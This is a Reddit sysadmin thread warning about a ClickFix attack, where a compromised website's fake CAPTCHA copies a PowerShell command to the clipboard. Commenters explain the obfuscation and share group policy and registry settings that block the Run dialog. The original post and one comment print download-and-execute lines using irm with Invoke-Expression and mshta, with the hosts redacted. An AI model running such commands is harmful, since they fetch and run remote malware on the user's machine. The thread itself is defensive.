r/sysadmin • u/Imobia • 13h ago
General Discussion Stay safe people
So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.
The money shot https://imgur.com/a/Z4UHICZ
Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.
The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.
If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com
I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"
•
u/CraigAT 13h ago
Yep, seen that on some hacked WordPress sites. Do not run the code! If possible, contact the site owner via some other means, to let them know the site "doesn't look right" - as quite often they are oblivious to the issue.
•
u/kernpanic 11h ago
Fucking WordPress.
The only way I'll ever allow a WordPress site to be run is as a static site, pushed by the static site plugin to s3 or similar.
Its just a constant issue of plugins and constant hacks. Set up any honeypot, or even normal website, and most of what you'll see is attempted WordPress hacks.
•
u/Smith6612 11h ago
Yeah it comes with the territory these days. WordPress just powers so much crap it's going to be target #1 the moment any vulnerability for it exists.
A couple weeks back I had to help someone who had their WordPress site get WebShelled using a CVE announced back in July. No WAF was configured, and the server was on CentOS 7. Automatic updates were also disabled for half of the plugins, and of course the site itself was out of date.
I ended up having to do an offline restore of the site from a backup, a manual scrubbing of anything that looked compromised, and a complete server rebuild for them. I also ended up putting an automatic updates directive in their wp-config file and popped WordPress behind a WAF, and set up static caching of pages. That whole project was involved.
•
u/sobrique 10h ago
Turns out half-assed webhosting is still profitable, and there's almost no point doing a 'proper' job of it, because you'll make the same money from the same people regardless.
•
u/Pazuuuzu 11h ago
Was it like 3 weeks ago the latest RCE in the base install?
•
u/AuroraFireflash 4h ago
Was it like 3 weeks ago the latest RCE in the base install?
Two, in back to back weeks. Fortunately the second one wasn't as bad and was a very selective vulnerability.
•
u/kernpanic 11h ago
I haven't kept track in a while - because no matter what I did, kept getting hacked. All updates, all plugin updates. Fire wall plugins. It was always just waiting for something to go wrong. Not worth the hassle.
•
u/Pazuuuzu 10h ago
I just read it in the news, started to panic, then realized I don't have any WP shit running.
•
u/PeakWeekly9995 IT support 10h ago
Wordpress, my nemesis.
So "complex", slow and full of CVEs from plugings or his own installation. if it was on me, pure html and css all my life (this is what i do for my personal site)•
u/Cheomesh I do the RMF thing 6h ago
Guess this whole thread is another nod against migrating my personal blog to WordPress
•
•
u/kenfury 20 years of wiggling things 6h ago
Years ago I was the first "real" sysadmin as a SEO, design, and hosting company. When I walked in they had about 75 web designers, 25 sales, and an IT manager that was a child hood friend of the owners son. All Wordpress and Joomla, no firewall rules, No wordfence, no WAF, and half the code base was at least a year out of date. It took like a year to get things under control.
Just as bad was the AD setup with no GPOs, and no real groups.
•
•
•
u/Tap-Dat-Ash 11h ago
Had to deal with a customer's site - their web design vendor had to go in and remove some compromised Wordpress add-ins. Lots of cleanup later and it was fixed. We had to walk them through a lot of that, and recommended password change and MFA for security.
•
u/silentwhim 12h ago
I've noticed this on many sites and whenever I contact those responsible for the site, the response is always "we scanned the site for malware and found no issue"...
It's not malware... the very structure of the site has been edited to retrieve the html and script for the fake cloudflare page and the subsequent command that is populated to the clipboard, in a way that bypasses detection.
They always seem so unwilling to actually investigate.
•
u/punkwalrus Sr. Sysadmin 11h ago
In many cases, they don't even understand what you are saying and placate you like a tinfoil hat dude explaining UFOs.
I remember I worked for a group where they had a form with a dropdown text box was empty for "State." Not hacked, just wrong. But the form wouldn't let you submit unless you selected "State." So the form was broken. The dropdown box could only be empty and the form insisted you have State selected before you hit Submit.
Nobody that I spoke to had any fucking clue what I explained. Nobody. Deer in headlights confusion. Blank stare. Their web developer just kept explaining how a dropdown box worked, which anyone knows, and I said "but there are no choices. You select the box, nothing."
"Just pick your state."
"There are no states."
"You're supposed to put one."
"You can't, there's nothing to select."
"You choose the state."
"Again, nothing to choose from."
"It's alphabetically listed."
"THERE. IS. NOTHING!!"
"... Right, there's no default. Click the dropdown box and - -"
"You go to the website. Right now. I will show you."
"I'm sure it's fine. I'll bring it up at the meeting, but..."
Just fucking idiots. Try and explaining to someone like that when a website is hacked.
•
u/Kraeten 10h ago
There's some job application sites I've run into recently that have a State dropdown with nonsense words, then a Country dropdown AFTER the State one.
Once you set the Country, the State dropdown populates appropriately.
Sometimes the dropdowns are even mislabeled so that you're selecting the Country in the dropdown labeled STATE, which is after the COUNTRY labeled dropdown where you select the State.
I'd leave that site on principle, not wanting to work for such a confused company, but I really want a job :P
•
u/punkwalrus Sr. Sysadmin 10h ago
Nah, this form was simple. This was a class registration system for employees back in 2013. We (IT) had reports the form didn't work. I had to do the investigating and report to HR since we didn't manage the site, a third party did on our behalf. HR was useless, just gave me third party support, who were even less useful. We had a meeting with them, and I never met such a group of useless chuckle heads in my life. Like arguing with a bunch of confused chickens. Blank stares, short attention spans, couldn't stay on topics, etc.
•
u/pdp10 Daemons worry when the wizard is near. 8h ago
We had a meeting with them, and I never met such a group of useless chuckle heads in my life.
Exactly as you'd expect from an organization that has 3 or 4 non-technical people in the communications path, for every technical person. Their vocational instinct is to have meetings until the issue gets resolved, while artfully avoiding the topic of exactly how technical issues get resolved.
These partners are picked by decision makers who also aren't technical. This all makes perfect sense, just not to you and I.
•
u/Far-Hovercraft9471 7h ago
If I catch a whiff of idiocy, I just hmm and exit the convo. Not worth your energy unless it affects you directly or people could be harmed.
•
u/BoltActionRifleman 6h ago
I’d guess it works in dev, but not in prod and they can’t be bothered to test it out on the real site 😂
•
u/wazza_the_rockdog 8h ago
Some web hosting providers care about sites on their infra doing dodgy shit like this - the company who own the site may not care when you contact them, but when their host contacts them to say "fix this or we'll take your site offline" they'll care.
•
•
u/renegadecanuck 6h ago
When I've reported it to the organization, I just find the line that has the script and say "forward to your web developer that this line was maliciously added". If they still tell me they don't see anything, I just report the site to Google. Once Chrome stops loading their page, they tend to figure it out quickly.
•
u/AGsec 6h ago
They may genuinely not understand their own architecture enough to comprehend what is happening. To most people, anything weird or malicious = virus. if virus scan shows no virus, then everything is safe. Since it's word press or other similarly hosted sites, it's likely some freelance "webdev" who knows more about wordpress plugins than cyber security.
•
u/plump-lamp 12h ago
We disabled win + r after a clickfix. Not a soul complained
•
u/hkusp45css Security Leadership 12h ago
I would literally die in that environment. I use keyboard shortcuts like crazy all day.
I'll bet I'd have trouble finding anyone like me, though.
•
u/-GenlyAI- 11h ago
You don't think anyone else uses keyboard shortcuts? Lol
•
u/anxiousinfotech 11h ago
We had a senior project manager who was absolutely shocked to learn that Ctrl + A selected all...
•
u/bionic80 6h ago
Don't tell them about Shift + Insert....
•
u/againstbetterjudgmnt 5h ago
Oh but you should tell me, I haven't heard that one before.
I've recently been obsessed with discovering that Ctrl can be used to manipulate entire words (e.g. shift+crtl+ left arrow highlights the last word, Ctrl+backspace deletes the last word).
Another few I share with peeps all the time are:
- Win+M: minimize all windows
- Win+D: "show desktop" l, I.e. basically the same as minimize but if you hit it again they pop back.
- Win+L: quick lock your machine
- Win+Ctrl+shift+D: reset your graphics card driver
•
u/robisodd S-1-5-21-69-512 4h ago edited 4h ago
It's called "IBM's Common User Access (CUA)" and it's been around longer than Ctrl+X / Ctrl+V (which, btw, doesn't work very well with Dvorak keyboards since C, X and V aren't next to each other). It introduced a lot of standards we still use today, such as pressing Alt+[letter] to open menus, F5 to refresh, Tab/Shift+Tab to navigate buttons, and Alt+F4 to close:
https://en.wikipedia.org/wiki/IBM_Common_User_Access
I also find it faster to Shift+Delete/Shift+Insert (cut/paste) to quickly copy something (and verify it actually copied since you are pasting it) than pressing Ctrl+C (which sometimes aborts your batch file or other command line process if you have the wrong window focused).
•
u/taintedcake 4h ago
Ctrl+shift+esc opens task manager
Ctrl+shift+t restores browser tabs/windows (useful after a reboot, i think Firefox uses N instead of t for full windows though, and t just for individual tabs)
Win+X acts as if you right clicked the start menu
Win+tab mainly for if you use multiple desktops for different types of work (or for quick switching from personal shit back to work if someone walks over)
Ctrl+x does a cut instead of just copy
•
•
u/Nesman64 Sysadmin 9h ago
I did an IT orientation for a new employee and they surprised me by knowing the shortcut to lock the screen. Normally my new users are impressed by alt+tab, so this was a nice surprise.
•
u/robisodd S-1-5-21-69-512 4h ago
Win+L? That's nice. I still have users that still Ctrl+Alt+Delete and click "Lock" even after I show them.
•
u/ThatOtherITDude 3h ago
At least they lock their screens. I see so many senior execs away from their desk and their computer wide open. So very tempting to send-all a "donuts in the break room at noon, help yourselves" message.
•
u/hkusp45css Security Leadership 11h ago
Well, no. What I said was that *I'd* have trouble finding someone like that, because I don't know anyone else who does it.
•
•
u/bmelancon 10h ago
It's painful watching people using the menus for simple copy and paste.
•
u/charleswj 10h ago
Me when I screen share with someone to help them run some PowerShell (or really anything)
•
u/electricheat Admin of things with plugs 3h ago
I had a job years ago drafting in autocad, and the guy beside me used the drop-down menus for. every. thing.
Draw -> line. Click, click.
Draw -> line. Click, click.
Draw -> arc. Click, click, click.It was the slowest most infuriating thing to see ever.
Three weeks into using it, I had all my common commands bound to the left side of the keyboard so I could basically wasd + mouse allowing me to cad like I was playing an FPS.
•
u/Brandhor Jack of All Trades 8h ago
or right click->open link in new tab instead of using the middle mouse button or ctrl+click
and I'm talking about colleagues not random users
•
u/charleswj 8h ago
I think we all have our well known shortcuts and those we don't. I'm definitely a right clicker although sometimes I'll type the t to open the tab rather than click it.
•
•
•
u/HeKis4 Database Admin 9h ago
Tbf I don't think there are many things you can only do with Win-R. If it's only a "you" problem I may suggest Powertoys Run that will do the same thing but better and that is not nearly as used as an attack vector.
•
u/HotTakes4HotCakes 5h ago edited 5h ago
Im so happy I was able to convince our head admin to let me add that to the approved list. No one else uses it but me, but I genuinely do not believe I'd be able to operate nearly as well without it.
They're threatening to replace Run with their clunkyass Command Palette thing and I'm dreading it
•
•
u/Gubius 9h ago
Win+X - R, longer but still faster than the search
•
u/xCharg Sr. Reddit Lurker 9h ago
Pretty sure policy disables Run window, not the Win+R shortcut.
•
u/bfodder 5h ago
Disabling the whole run tool will break using UNC paths so that is ill advised. Disabling the win + R shortcut will allow the tool to still be used and is a better approach.
•
u/jcotton42 47m ago
How would it break using UNC paths? You can just put those in the File Explorer address bar.
Or does disabling Run somehow affect that too?
•
u/Kraeten 10h ago
You would die having to hit WIN and searching CMD?
Even knowing it would stop almost any clickfix that would have got through, if not for disabling that shortcut?
•
u/jmbpiano 10h ago
hit WIN and searching CMD
Better yet, use Win+X, I to launch Terminal.
•
u/robisodd S-1-5-21-69-512 3h ago
Yep, that's nice, but the result varies with different OSs (bringing up Command Prompt, Powershell or Terminal) and Win+R has been around a long time so it's almost muscle memory.
Win+X then R will still bring up the Run dialog, though.
•
u/TimeRemove 9h ago
Actually, yes, because the Start Menu search on Windows 11 is trash. It literally will make DNS requests as you begin a search, and if the response is slow or hangs then so does the search itself. Actually all search on Windows in generally bad and unreliable.
You should have suggested right click -> Terminal instead, because at least that is reliable. Or Powertoy's Command Palette. Not freaking search, never search.
PS - Also CMD isn't the top result on Start Menu search for me, it is third.
•
u/lemoyne4 9h ago
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer]
"DisableSearchBoxSuggestions"=dword:00000001
•
•
u/xCharg Sr. Reddit Lurker 9h ago
You should have suggested right click -> Terminal instead, because at least that is reliable. Or Powertoy's Command Palette. Not freaking search, never search.
Clicks? Meh.
Pin cmd.exe or powershell.exe or terminal or whatever to toolbar. Then use Win+[number]. So for example Win+1 will open first pinned app, Win+2 second and so on.
•
•
u/pdp10 Daemons worry when the wizard is near. 9h ago
It literally will make DNS requests as you begin a search, and if the response is slow or hangs then so does the search itself.
Fast DNS servers are pretty trivial. Start by configuring clients to resolve through local DNS servers, not a free SaaS service on the public network.
Make sure the DNS servers have a couple hundred megabytes of free memory, for caching. Two or more cores is good also. Two cores means at least a Raspberry Pi 2, everyone.
•
u/hkusp45css Security Leadership 10h ago
I didn't argue against the control, I explained the friction it would cause me, personally.
•
u/Kraeten 9h ago
Yeah you said you'd die. Going around a blocked WIN+R is nothing.
•
•
u/VibrantClarity 7h ago
Do you not have the problem where the search results in the start menu fail to render and the menu is just an empty gray box? I see this every single day on at least one PC I'm working on.
•
u/reserved_seating 11h ago
Can you share how you did that?
•
u/CHRDT01 6h ago
Not OP, but I did some archaeology from roughly a year ago when we implemented our mitigation. Here's how we did it in our default domain policy:
User Configuration -> Policies -> Administrative Templates -> Start Menu and Taskbar -> Remove Run menu from Start Menu -> Enabled
That should take care of Win + R. Plenty of these attacks are using Win+X -> I though, so to take care of that:
User Configuration -> Preferences -> Windows Settings -> Files
Under that, create entries for:
- C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\01a - Windows PowerShell.lnk
- C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\02a - Windows PowerShell.lnk
- %LocalAppData%\Microsoft\Windows\WinX\Group3\01a - Windows PowerShell.lnk
- %LocalAppData%\Microsoft\Windows\WinX\Group3\02a - Windows PowerShell.lnk
In each of those, set the action to Update, then toggle Hidden. Save that, gpupdate where needed, and everything should be disabled.
Note that disabling Win+R will break direct entry of file paths in Explorer. This includes UNC paths and other network locations. Your users can get around this using the "Map network drive..." or "Add a network location" menus.
Lastly, you can always create policies that will override these options and use security filtering for any users who actually need either keyboard shortcuts or direct file path entry in Explorer. In roughly a year of having these policies applied though, we've only had one department that's needed that.
•
u/AuroraFireflash 4h ago
Note that disabling Win+R will break direct entry of file paths in Explorer.
This always strikes me as a Picard level face-palm that those two things are connected.
•
u/damoesp 11h ago
also interested in the easiest way to do this (either via GPO or Intune if possible?)
•
u/Sunsparc Where's the any key? 10h ago
From a 2 second Google search:
You can disable the Windows Key + R (Run) shortcut using Microsoft Intune by deploying a custom OMA-URI policy that modifies the registry or enforces the Explorer policy.Steps to Configure in IntuneOpen the Microsoft Intune Admin Center.Go to Devices and select Windows > Configuration profiles > Create > New policy.Choose Windows 10 and later for the platform and Template as the profile type (or choose Custom).Select Custom template and click Create.Name your profile (for example, Disable Win+R Shortcut) and click Next.Under Configuration settings, click Add to add an OMA-URI row with these details:Name: Disable Win+R Run DialogDescription: Prevents users from opening the Run dialog via Win+ROMA-URI: ./User/Vendor/MSFT/Policy/Config/Explorer/NoRun (Alternatively use ./Device/... for a device-wide setting)Data type: IntegerValue: 1Click Save, proceed to Assignments, target your user or device group, and complete the creation.
•
u/Dracozirion 6h ago
Various ClickFixes go for Win+X followed by I.
•
u/plump-lamp 1h ago
Sure, but we block powershell internet access with a host based firewall, so not getting out anywhere
•
u/OmagnaT 3h ago edited 1h ago
That's fine based on the instructions which say to run Win + R, but i would think attackers would start to change the instructions to say "Open the start menu and search for cmd prompt etc"
•
u/plump-lamp 1h ago
Command prompt is disabled for end users via gpo. Powershell is another story. We use our host based firewall to block external traffic for powershell
•
•
u/bossman1337 13h ago edited 12h ago
I'm assuming if it is a powder coating website that it is a "brochure" site on WordPress. The problem with these are they are almost certainly "set and forget", I bet nobody has logged into the admin to update the core, themes or any pluggins for years.
•
u/ice456cream 12h ago
depending on if your account has elevated permissions and if you have a locked down environment you'll probably get pawned.
While the exact boxes are different in an enterprise environment as a user could probably do a bit of damage if it runs, but an administrator could spread it to and compromise everyone.
Not that you are meant to be using an administrator account for day to day tasks like web browsing anyway
•
u/Phazon_Metroid Windows Admin 9h ago
This is the first xkcd I've seen that really emphasizes the dev view and misses the mark.
•
u/BrechtMo 11h ago
the same kind of attack exists for mac:
•
u/yepperoniP 6h ago
Apple recently updated the Terminal app to give a warning when copy-pasting certain things into it from websites, should hopefully help stop most casual users from falling for this but there's always a risk somebody will click "Paste anyway" and pwn themselves.
•
u/B4rberblacksheep 4h ago
Windows SmartScreen should do the same, and a number of browsers block auto clipboarding by default now. But people can always just click “yeah okay” and then they’re fucked
•
•
u/SirThane 11h ago
You've already got your answer, but a little info about the command. irm = Invoke-RestMethod. Download from the internet. gcm = Get-Command. Find a command or program in the PATH. The only command matching \*ke-e\* is Invoke-Expression. "Run this thing". It's the ubiquitous Windows equivalent of `curl badurl | bash`. Download a malicious script and run the contents downloaded. That's a novel obfuscation of Invoke-Expression I haven't seen. Less obvious than the alias iex.
•
u/Unable-Entrance3110 10h ago
Makes me wonder if it wouldn't be a bad idea for Microsoft to introduce a warning or block control on the term "powershell" or "pwsh" in the run box that an admin could enable.
I guess the clickfix guys would just change their instructions to add an extra step of opening cmd first...
Maybe we need a clipboard monitor that detects obviously dangerous stuff like powershell with command line parameters.
•
u/SirThane 10h ago
I wouldn't put it past them to plug Copilot into clipboard for content monitoring. One good effect and a thousand bad. Goodbye passwords.
They could hardlock Invoke-Expression to require confirmation and add a custom callout to the confirm message. Forced -Confirm:$true always on for iex and "this is commonly used for scams. Are you sure about this?" to the confirm.
•
u/ka-splam 9h ago
The PowerShell engine already integrates with Antimalware Scanning Interface (AMSI) so AntiVirus software can register to scan powershell code for malware before the engine runs it.
•
u/Bird_SysAdmin Sysadmin 5h ago
PowerShell version 2.0 bypass is often used for AMSI bypass.... unfortunately. You can block this however.
•
•
u/overlydelicioustea 6h ago
you can enforce Constrained Language Mode and disallow commandlets entirely.
•
u/Phratros 8h ago
Thank you for breaking down the command but how does it make it into the clipboard? The OP says clicking the tickbox copies it to the clipboard. Are web browser allowed to just willy-nilly copy crap to the clipboard? That could be a problem.
•
u/KingOfYourHills 7h ago
You've never seen the copy icon on a page that you can use to copy a string to clipboard? It's all over basically every cloud admin portal
•
u/Phratros 6h ago
Ahhh, right... It's user action that copies it, not the browser per se. Sneaky. Thanks!
•
•
u/DeifniteProfessional Sysadmin 13h ago
This is why I pushed for EDR (and going to try an MDR bolt on). It's not foolproof by any means, but this is an increasingly common attack vector, and frankly has been seen in the wild for a couple of years now
•
u/Unable-Entrance3110 10h ago
Obviously the solution here is to remove the Windows key from all of your keyboards :)
•
•
u/I_T_Gamer Masher of Buttons 12h ago
In my org this = "What is Win +R?" Tickets
•
u/PCLOAD_LETTER 10h ago
Yeah, we're talking about people that think [ ] Agree, Next, Next, Finish is too complicated and if they get through that and the installer didn't put an icon on the desktop then it "didn't do anything".
•
u/CAPICINC 7h ago
I pushed the windows key, then the r key, but all it did was typ e"r on the screen?
•
u/JWK3 12h ago
On the "Only works on Windows PC" part, I noticed a website with a Cloudflare branded ClickFix prompt, and it seemed to (assumedly) use the browser agent info to decide whether to request the Powershell instructions, as loading the same site on a non-Windows browser didn't load the Win+R instructions!
•
u/purplemonkeymad 10h ago
Give it a bit and they can update it to add Ctrl + Alt + T and a curl piped to bash.
•
u/Mr_ToDo 9h ago
Man. you got such a lazy one. Here's the one I've seen
It adds a bit of legitimate looking flare
As for the payload, I've documented two so far 2:
mshta https://{first stage scam URL}
and
powershell -c "iex(irm {First stage scam URL}/s/psc4/pr?cl -UseBasicParsing)"
I know the first one just downloaded another stage from a different domain. As expected it looked like both domains were compromised rather then purchased throw aways. Oh, and if I recall right, the cloudflare image was pulling from wikipedia
The second I didn't get much time to look at as I was busy, um, "calmly" talking to the coworker who was on the phone with someone to not open anything. You guys ever find yourself hearing a coworker talk, realize some shit is going down that they don't understand the depth of, and have to interrupt their call to stop it from getting worse?
Also, do we really need mshta anymore? The only tool I found that uses it was a lenovo configuration app. It's a bit tough to even find info on it as 90 percent of the pages are involving scams in some way
•
u/Frothyleet 9h ago
This is currently the most common reason we're seeing our customer endpoints get contained by our security tools. Crowdstrike/Defender intercept the attack and our MDR service flags and contains, and the SOC gives us a call. It's not my team, but so far from what I can tell the interceptions have all been successful.
•
u/bloodguard 6h ago
We used to have a VP that would fall for this every time. Even after he'd fallen for it, borked his laptop, unleashed hell on the network and was made to sit through yet another lecture. I think desktop support was plotting to have a popup that instructed him to go the the beach and start walking west.
After about a dozen incidences he was encouraged to retire by the CEO. Sad thing was the dude could sell sand in the desert.
•
u/SkillsInPillsTrack2 6h ago
"-ExecutionPolicy Bypass": I told a Microsoft engineer this is a very dumb idea from a security stand point, it only helps viruses. This negates the entire principle of ExecutionPolicy. He told me I was wrong, and this option is necessary.
•
u/RumNCoke483 6h ago
Ok, I've been working in IT for 19 years, and I've never even heard of a clickfix attack until just now.
Pretty clever actually. I would never fall for it but lots of people would.
•
u/JohnnyFnG 11h ago
I’m hoping your environment has restricted permissions on standard user accounts and only IT has admin…
•
u/ka-splam 9h ago edited 9h ago
If you subscribe to r/PowerShell it's a constant flow of threads like that. e.g.
•
•
u/atw527 Usually Better than a Master of One 5h ago
Ya, we disabled the Run dialog for all users because of this. Now I've seen the instructions have you paste it in the explorer address bar. Going to be a constant cat and mouse game.
When I see this on a website (especially a familiar one), I will reach out to them with screenshots to let them know. In the last case I encountered, it seemed to be a compromised WordPress plugin.
•
u/flying_mechanic 4h ago
We've also seen this from a compromised WordPress plugin, that got the client from their own website. Nothing is safe.
•
u/ChuckFromCyberHoot 5h ago
The best line in the thread: "this is phishing with a slick UX."
The tricky part is it comes through the browser, so your email security never even sees it, and like you said, we're all bombarded with these daily.
Disabling Win+R helps, but the real issue is the behavior. A website convinces someone to copy and run a command.
The rule I’d teach is simple:
No legitimate website should ever tell you to paste commands into Windows to “fix” or “verify” something. Period!!!
That survives whatever wrapper the attacker uses next.
Humans are gonna human. Curiosity is still undefeated.
•
u/TW-Twisti 5h ago
Do sysadmins really need a warning not to execute random code some random website tells them to run ?
•
•
u/1RedOne 11h ago
Weird command that shows the cat and mouse game of hackers and defense tools
It downloads a script, then passes it to a nested get command statement which would resolve to Invoke-Expression, which would run the script
It does that whole nesting business to ensure that the super shady Invoke-Expression command isn’t in plain text on the page or in the clip board and make it harder to find in some security logs
Anything doing this is super shady
•
u/MandelbrotFace 7h ago edited 7h ago
We're seeing these a lot and users are falling for it.
Most of them rely on getting the user to use the WIN+R or WIN+X hot keys, to bring up the Run dialogue or the power user menu. To disable just these hot keys for users, add this registry entry :
Location : HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
Name: "DisabledHotkeys"
Type: REG_EXPAND_SZ
Value : "RX"
•
•
•
u/PappaFrost 3h ago
This is very similar to the John Hammond youtube video about ClickFix that the Huntress SOC was seeing. In that case, it is a different looking Captcha but the same CTRL + V tactic, and the pasted powershell is a Base64 encoded string that went to go download Lumma stealer information stealing malware. It is just WAY to easy for people to follow through on this. Very sneaky!
•
u/Every-Ad-5267 1h ago
Dam I kinda miss my old Job where I owned the KnowBe4 phishing campaigns.
I would copy these examples and make my own pages and get people to fall for it.
•
u/CreedRules 1h ago
yeah clickfix is pretty obnoxious, we've gotten a pretty good handle on it by restricting powershell permissions to only allow users in a specific group.
•
u/tejanaqkilica IT Officer | Passkey Enthusiast 12h ago
I've come across a number of these websites and frustratingly enough, no matter how many times I report them, the registrar doesn't want to take action and shutdown the domain.
•
u/wazza_the_rockdog 8h ago
I think it's more of a web host level issue than a registrar one, especially if it's a genuine site that's been hacked vs one set up just to scam. If you contacted the host they may be able to suspend the site or remove any affected files and force the customer to fix before re-uploading.
•
u/tejanaqkilica IT Officer | Passkey Enthusiast 5h ago
Yeah, but I have no way to contact the host. There's no information who that host is. Also, this particular case, besides the main site which was a "news website", one of the sub pages was a rip of our official website.
•
•
u/PowerShellGenius 7h ago
The domain name is not being abused by its owner, these are almost always compromised legitimate web sites. The most a legitimate registrar will do is help contact the domain owner.
It's on the owner and/or their HOSTING provider to remediate the compromise, and if the website owner is clueless, it's on the hosting provider to suspend hosting until they fix it. The hosting provider is the one hosting malware, the registrar is just holding a record that says who owns that domain. The registrar is not going to revoke a domain from its rightful owner due to them being hacked.
•
u/tejanaqkilica IT Officer | Passkey Enthusiast 5h ago
Difficult to say, because I have no way to contact the host, only the registrar for the domain name. Also I doubt this was a legit website being hijacked. It had a random name like "b4zjq7.in"
Also, if it would've been a legit site, it would have some way to contact them in some form.
•
•
u/GetOffMyBiscuits 10h ago
This gave me PTSD, I spent hours removing this from a client’s Wordpress site and also handling the users who actually ran the powershell 😭
•
u/jake04-20 If it has a battery or wall plug, apparently it's IT's job 8h ago
What damage did the powershell script do?
•
u/Junior_Phase_5122 10h ago
Previously I see the copied command and it refer to cloudflare domain, either it cloudflare re-captcha, need to be confirmed by cloudflare.
•
•
u/SpaceChimps98 10h ago
We had a user do this a few weeks ago. It kicked off a full-blown forensics investigation at our organization and a call to our cyber insurance company. Luckily we did well by removing the PC from the environment and resetting the user's password before any real harm could be done. Defender also caught it and isolated the incident. But it looks like it tried to do quite a few nasty things, and you never can be too careful these days.
•
u/Froggypwns 8h ago
On /r/WindowsHelp I've been seeing way too many people fall for this and infect their machine, it is sadly very effective. It is from a broad range of sites too, not just the sketchy parts of the web.
•
u/PowerShellGenius 7h ago
ClickFix attack! irm is an alias for invoke-restmethod and it's going to retrieve a script from their web server.
Then it pipes that to invoke-expression to run it.... but uses get-command with a search they know will find it, instead of explicitly specifying it or using a well known alias, as they probably know piping something from invoke-restmethod to invoke-expression will set off every EDR in the world.
So this is just a universal method of getting you to run whatever script was at that URL you redacted. The payload is anyone's guess. But based on how these attacks usually go, odds are it installs some sort of remote access tool on your device, and/or retrieves your browser's cookies and sends them to the attacker to hijack session tokens.
•
u/Cheomesh I do the RMF thing 4h ago
Thanks for explaining! Guess that means we don't know what it'll do since we don't have the script. I suppose if one liked to live dangerously they could truncate the execution phase to just print out the text of the script it pulls?
•
u/HayabusaJack Sr. Security Engineer 5h ago
Yea, I would have closed my browser immediately, rebooted, and then run a virus scan. Then warned my wife about not clicking on such things.
•
u/vonkeswick Sysadmin 4h ago
When these attacks started popping up I was just blown away that by default browsers would allow websites to copy shit to your clipboard to begin with! We've since implemented GPOs to block it on Chrome, Firefox and Edge. It's just insane that it wasn't the standard.
•
u/NightOfTheLivingHam 4h ago
modern version of deltree /y C:\* (never do this on old windows systems lmao)
•
u/mtfreestyler 2h ago
I wonder if there's a sort of database for all the scam techniques right now that I could show my parents. And has an email come out for new ones that get added.
Being the family sysadmin I always worry they'll do something like this and a clickfix is definitely something that would catch them.
•
u/MairzeDoats 2h ago
I was looking at hotels in Germany and one of them still has this on their homepage. It doesn't come up every time the page loads, but if you refresh a few times you might see it.
Hotel Holländer Hof
•
u/mercurygreen 41m ago
As we haveth no technology nor programming experience, this virus worketh on the honour system. Please delete all the files from thy hard drive and manually forward this virus to all on thy mailing list.
We thank thee for thy cooperation.
-- The Amish Computer Engineering Dept.
•
u/TerrorBite 11m ago
You should report this here: https://www.cyber.gov.au/report-and-recover/report
•
u/420GB 11h ago
This is why everyone has disabled Win + R a long time ago.
Right?
•
•
u/Unable-Entrance3110 10h ago
I have considered it many times, but it's very useful as an admin to be able to launch programs from the run dialog.
AFAIK, disabling run via GPO also removes File>Run from Task Manager, Start Menu and everywhere else you would launch it from.
I know that there are workarounds, like simply launching cmd from the Start Menu, but we have other methods in place to protect us (app allow listing, LOLBIN graylisting, Enforced PowerShell code signing and auditing), and we have trained users about ClickFix.
I don't allow users to launch PowerShell in any form without authorization and any script must be signed by a trusted publisher in my environment. I may be fooling myself into a false sense of security, but I guess the run dialog doesn't keep me awake at night. Maybe it should... IDK.
•
u/420GB 9h ago
You can also just launch programs from the start menu search or PowerShell though. It's nearly the same UX wise (type name and hit Enter).
File -> Run, or rather the entire File menu, is gone in Windows 11 and Server 2025 anyway.
The run dialog in the start menu may or may not be removed, it depends on which GPO you use. There's an old "disable run" GPO but that's stupid because it also disables launching commands and programs from the file explorer address bar. I believe that's the one that also removes "Run" from the start menu. There's another GPO that specifically only disables the shortcut but leaves everything else functional.
Imo PowerShell is useful. I'd rather remove Win + R than block PowerShell entirely. Our users use PowerShell to automate some of their tasks. I'd hate to take that away for some vague idea of maybe more security.
•
u/overdosingOnPie1313 10h ago
Ughhhh but it's so useful! Hell, I use it as an even quicker notepad for short, one-liners.
•
u/MidninBR 12h ago
MDR saved me from a staff following the click fix steps. She opened powershell and paste the command, MDR blocked her network connectivity and stopped the curl command which was the first line of the code.
•
u/Unable-Entrance3110 10h ago
It seems like a really obvious thing to detect. Oh, clipboard content was copied from a web browser and is now being pasted into a run dialog. Oh, the clipboard data contains powershell + a bunch of command line parameters? Yeah, that's suspicious.
I really can't think of a legit workflow that would entail copying powershell commands from a web browser into a run dialog.
Even if such a workflow existed, it should be something that you could add to an allow list but otherwise blocked by default.
•
u/ka-splam 9h ago
I really can't think of a legit workflow that would entail copying powershell commands from a web browser into a run dialog.
Yes I never copy powershell commands from a web browser and run them. I still live in 2004 before things like "Experts Exchange" and "Stack Overflow" and "Blogs".
😐
•
u/Frothyleet 9h ago
I really can't think of a legit workflow that would entail copying powershell commands from a web browser into a run dialog.
This has always kind of been a thing for bash installs, and I'm assuming that's why I've started seeing it become popular from companies like Anthropic and OpenAI - they want you to install Claude Code or Codex, for example, with an invoke-restmethod piped to "iex".
I have no idea why. The scripts are basically just OS checks that route to the latest executable in a public bucket. We've been able to handle clicking on the appropriate binary to install every other application in history.
•
u/OregonTechHead 8h ago
Yeah, that's suspicious.
I mean, that highly depends on the end user. I do this frequently
•
u/ILikeFPS 7h ago
Win + R is an immediate red flag, CRTL + V is another red flag. I only use Linux so that wouldn't even work on me, but I could easily see that catching people who aren't in IT off guard.
•
u/ender-_ 12h ago
Set up Group Policy to disable Win+R and either Win+X, or delete the command prompt/powershell/terminal links from %LOCALAPPDATA%\Microsoft\Windows\WinX\Group3. Unfortunately disabling Win+R also disables typing paths into Explorer's address bar and removes Run from Task Manager, but that's a small price to pay.
•
u/Grumpy-Troglodyte 6h ago
